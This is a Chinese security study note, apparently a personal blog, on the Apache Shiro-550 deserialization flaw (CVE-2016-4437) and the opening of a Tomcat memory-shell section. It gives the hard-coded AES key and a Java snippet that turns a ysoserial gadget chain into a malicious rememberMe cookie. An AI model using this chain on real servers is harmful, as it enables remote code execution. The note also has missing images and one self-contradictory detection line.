WEB中间件漏洞

Shiro

1.Shiro-550

对应CVE-2016-4437

参考:Shiro 550 漏洞学习(一) (yuque.com)

(1)利用版本

1.2.4及以下

(2)漏洞原理

Apache Shiro框架提供了记住密码功能,登录成功的话会将用户的登录信息进行经过AES加密然后base64编码,放在CookierememberMe字段,大致如下

image-20221122090810999

那么在服务端就会对该rememberMe字段进行base64解码,然后AES解密,最后再反序列化,如果我们构造恶意的rememberMe字段,这样就会导致反序列化的RCE漏洞。同时,由于AES加解密的KEY是硬编码写在源码中的,我们可以直接获得。

(3)漏洞环境

简单搭建

源码构建Shiro

参考(48条消息) shiro debug 调试_scanner010的博客-CSDN博客

  • 下载源码:apache/shiro: Apache Shiro (github.com)

    然后换成1.2.4git checkout shiro-root-1.2.4

  • jstl版本切换

    打开shiro/samples/web/pom.xml,更换jstl版本

    image-20221122092207371

    之后重新reload一下即可

  • Tomcat部署

    image-20221122092453428

    然后配置一下Web界面

    image-20221122092527995

    如下添加即可

    image-20221122092557904

    之后运行或调试即可

(4)漏洞流程分析

rememberMe解析流程

1
2
3
4
5
6
7
8
AbstractRememberMeManager.getRememberedPrincipals
CookieRememberMeManager.getRememberedSerializedIdentity //获取Cookie中的remember字段,并且进行base64解码

AbstractRememberMeManager.convertBytesToPrincipals
AbstractRememberMeManager.decrypt
AbstractRememberMeManager.deserialize

DefaultSerializer.deserialize

大致图解如下

image-20221122114903998

(5)漏洞代码分析

  • AbstractRememberMeManager.getRememberedPrincipals

    当一个涉及到用户信息的请求来时,首先是进入rememberMe管理函数

    image-20221122115116077

  • CookieRememberMeManager.getRememberedSerializedIdentity

    AbstractRememberMeManager.getRememberedPrincipals函数中调用getRememberedSerializedIdentity尝试获取base64解码后的rememberMe字段

    image-20221122120445903

  • AbstractRememberMeManager.convertBytesToPrincipals

    随即调用convertBytesToPrincipals函数进行后续操作

    image-20221122120543984

    • AbstractRememberMeManager.decrypt

      convertBytesToPrincipals函数中调用到decrypt函数,通过getDecryptionCipherKey获取密钥尝试对base64解码后的Cookie进行AES解密

      image-20221122120725908

      一层一层撸下来,如下所示,可以在AbstractRememberMeManager中找到对应的硬编码的key

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      public byte[] getDecryptionCipherKey() {
      return decryptionCipherKey;
      }

      public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
      this.decryptionCipherKey = decryptionCipherKey;
      }

      public void setCipherKey(byte[] cipherKey) {
      //Since this method should only be used in symmetric ciphers
      //(where the enc and dec keys are the same), set it on both:
      setEncryptionCipherKey(cipherKey);
      setDecryptionCipherKey(cipherKey);
      }

      public AbstractRememberMeManager() {
      this.serializer = new DefaultSerializer<PrincipalCollection>();
      this.cipherService = new AesCipherService();
      setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
      }

      private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    • AbstractRememberMeManager.deserialize

      解密完成之后,回到AbstractRememberMeManager.convertBytesToPrincipals函数中即进行反序列化

      image-20221122121659679

      调用到了DefaultSerializer.deserialize来完成最后的反序列化过程

(6)漏洞利用

即将我们的恶意反序列化链进行相关编码加密,在登录时勾选rememberMe,然后抓包设置为rememberMe字段发送到服务器即可,常用的链条为CC1CC6CC10cc11

  • 相关POC

    使用ysoserial生成序列化链条cc1然后编码加密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class shiroDemo {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/home/hacker/Desktop/WEB/JAVA/JavaThings/cc11"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

(7)漏洞检测

  • dnslog

  • key检测

    key正确则显示deleteMe,反之则显示deleteMe

(8)漏洞修复

官方修复是key的随机生成

2.Shiro-721

这个就先不复现了,比较没有实用价值

Tomcat

1.内存马

参考:Tomcat 内存马学习(一):Filter型 (yuque.com)

这个不能算漏洞,只能算一种写木马的方式吧

由于Tomcat的机制问题,存在很多可以写内存马的地方,依据[wjlshare师傅博客](Tomcat 内存马学习(一):Filter型 – 天下大木头 (wjlshare.com))介绍主要有如下几种

  • servlet-api类

    • filter型
    • servlet型
  • spring类

    • 拦截器
    • controller型
  • Java Instrumentation类

    • agent型

servlet-api类

先需要探讨一下该机制,大概流程如下

参考:中间件内存马注入&冰蝎连接 (seebug.org)

image-20221122181418299

然后简单构建一下环境

  • 创建项目

image-20221122174929458

  • 添加一下Web框架

    image-20221122175006785

  • 导入对应Tomcatservlet-api依赖

    image-20221122175223681

    image-20221122175306009

    image-20221122175623013

  • 然后就可以创建Servlet-Filter

    image-20221122175715777

  • 创建之后需要在web/WEB-INF/web.xml中加入创建的filter

    image-20221122175937704

    这里设置了url-pattern/*,表示所有的url都会经过该filter

  • 然后配置一下Tomcat服务器即可

    image-20221122180133583

    image-20221122180208208

    image-20221122180232020

  • 相关代码

    image-20221122180706555

    • Servlet

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      import javax.servlet.*;
      import javax.servlet.http.*;
      import javax.servlet.annotation.*;
      import java.io.IOException;

      @WebServlet(name = "Servlet", value = "/Servlet")
      public class Servlet extends HttpServlet {
      @Override
      protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      response.getWriter().write("MyServlet");
      }

      @Override
      protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

      }
      }
    • MyFilter

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      import javax.servlet.*;
      import javax.servlet.annotation.*;
      import java.io.IOException;

      @WebFilter(filterName = "MyFilter")
      public class MyFilter implements Filter {
      public void init(FilterConfig config) throws ServletException {

      }

      public void destroy() {
      }

      @Override
      public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
      response.getWriter().write("MyFilter");
      chain.doFilter(request, response);
      }
      }

  • 运行起来即可看到

    任意存在的URL访问都会执行设置的MyFilter

    image-20221122180751396

    image-20221122180802377

当然一般是给对应的Servlet来对应的filter,修改一下web.xml里的url-pattern即可

①机制流程

TIPS

  • IDEA中按两下shift键可以快速搜索项目中的类

    image-20221122110956487